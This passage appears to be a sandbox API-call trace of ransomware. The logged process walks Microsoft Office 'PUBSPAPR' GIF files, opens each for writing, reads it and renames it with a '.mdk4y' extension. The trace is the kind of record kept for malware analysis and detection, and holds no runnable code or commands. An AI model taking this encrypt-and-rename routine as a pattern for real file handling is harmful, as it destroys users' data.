office\\office14\\1033\\pubspapr\\pdir42f.gif.mdk4y")) returned 1 [0197.971] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.971] AreFileApisANSI () returned 1 [0197.971] GetACP () returned 0x4e4 [0197.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR43B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR43B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827320200000) returned 1 [0197.972] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd2c, lpOverlapped=0x0) returned 1 [0197.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827320300000) returned 1 [0197.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827320300000) returned 1 [0197.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif.mdk4y")) returned 1 [0197.975] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.975] AreFileApisANSI () returned 1 [0197.975] GetACP () returned 0x4e4 [0197.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR43F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR43F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.975] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827320600000) returned 1 [0197.976] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa5e, lpOverlapped=0x0) returned 1 [0197.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827320700000) returned 1 [0197.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827320700000) returned 1 [0197.978] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif.mdk4y")) returned 1 [0197.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0197.979] AreFileApisANSI () returned 1 [0197.979] GetACP () returned 0x4e4 [0197.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR44B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR44B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0197.979] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0197.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827321000000) returned 1 [0197.980] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3606, lpOverlapped=0x0) returned 1 [0198.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827324200000) returned 1 [0198.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827324200000) returned 1 [0198.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif.mdk4y")) returned 1 [0198.014] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.014] AreFileApisANSI () returned 1 [0198.014] GetACP () returned 0x4e4 [0198.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR44F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR44F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827324500000) returned 1 [0198.016] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3026, lpOverlapped=0x0) returned 1 [0198.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827324700000) returned 1 [0198.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827324700000) returned 1 [0198.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif.mdk4y")) returned 1 [0198.018] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.018] AreFileApisANSI () returned 1 [0198.018] GetACP () returned 0x4e4 [0198.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR45B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR45B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.019] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827324900000) returned 1 [0198.019] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2019, lpOverlapped=0x0) returned 1 [0198.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827325100000) returned 1 [0198.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827325100000) returned 1 [0198.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif.mdk4y")) returned 1 [0198.022] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.022] AreFileApisANSI () returned 1 [0198.022] GetACP () returned 0x4e4 [0198.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR45F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR45F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.022] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827325300000) returned 1 [0198.023] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ee9, lpOverlapped=0x0) returned 1 [0198.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827325500000) returned 1 [0198.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827325500000) returned 1 [0198.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif.mdk4y")) returned 1 [0198.093] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.093] AreFileApisANSI () returned 1 [0198.093] GetACP () returned 0x4e4 [0198.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR46B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR46B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.093] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827332400000) returned 1 [0198.094] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1349, lpOverlapped=0x0) returned 1 [0198.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827332500000) returned 1 [0198.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827332500000) returned 1 [0198.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif.mdk4y")) returned 1 [0198.096] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.096] AreFileApisANSI () returned 1 [0198.096] GetACP () returned 0x4e4 [0198.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR46F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR46F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827332700000) returned 1 [0198.097] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1377, lpOverlapped=0x0) returned 1 [0198.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827332900000) returned 1 [0198.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827332900000) returned 1 [0198.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif.mdk4y")) returned 1 [0198.099] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.099] AreFileApisANSI () returned 1 [0198.100] GetACP () returned 0x4e4 [0198.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR47B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR47B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827333000000) returned 1 [0198.100] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x80d9, lpOverlapped=0x0) returned 1 [0198.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827335700000) returned 1 [0198.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827335700000) returned 1 [0198.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif.mdk4y")) returned 1 [0198.129] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.129] AreFileApisANSI () returned 1 [0198.129] GetACP () returned 0x4e4 [0198.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR47F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR47F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336000000) returned 1 [0198.130] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3ae8, lpOverlapped=0x0) returned 1 [0198.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336100000) returned 1 [0198.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336200000) returned 1 [0198.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif.mdk4y")) returned 1 [0198.133] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.133] AreFileApisANSI () returned 1 [0198.133] GetACP () returned 0x4e4 [0198.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR48B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR48B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.133] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336300000) returned 1 [0198.133] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2b53, lpOverlapped=0x0) returned 1 [0198.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336400000) returned 1 [0198.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336400000) returned 1 [0198.135] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif.mdk4y")) returned 1 [0198.135] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.135] AreFileApisANSI () returned 1 [0198.135] GetACP () returned 0x4e4 [0198.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR48F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR48F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336600000) returned 1 [0198.136] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x178c, lpOverlapped=0x0) returned 1 [0198.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336700000) returned 1 [0198.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827336800000) returned 1 [0198.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif.mdk4y")) returned 1 [0198.138] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.138] AreFileApisANSI () returned 1 [0198.138] GetACP () returned 0x4e4 [0198.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR49B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR49B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827337100000) returned 1 [0198.141] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4a66, lpOverlapped=0x0) returned 1 [0198.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827338100000) returned 1 [0198.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827338100000) returned 1 [0198.151] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif.mdk4y")) returned 1 [0198.152] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.152] AreFileApisANSI () returned 1 [0198.152] GetACP () returned 0x4e4 [0198.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR49F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR49F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.152] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827338300000) returned 1 [0198.153] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x32b6, lpOverlapped=0x0) returned 1 [0198.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827338400000) returned 1 [0198.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827338400000) returned 1 [0198.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), lpNewFileName="C:\\Program Files\\Microsoft 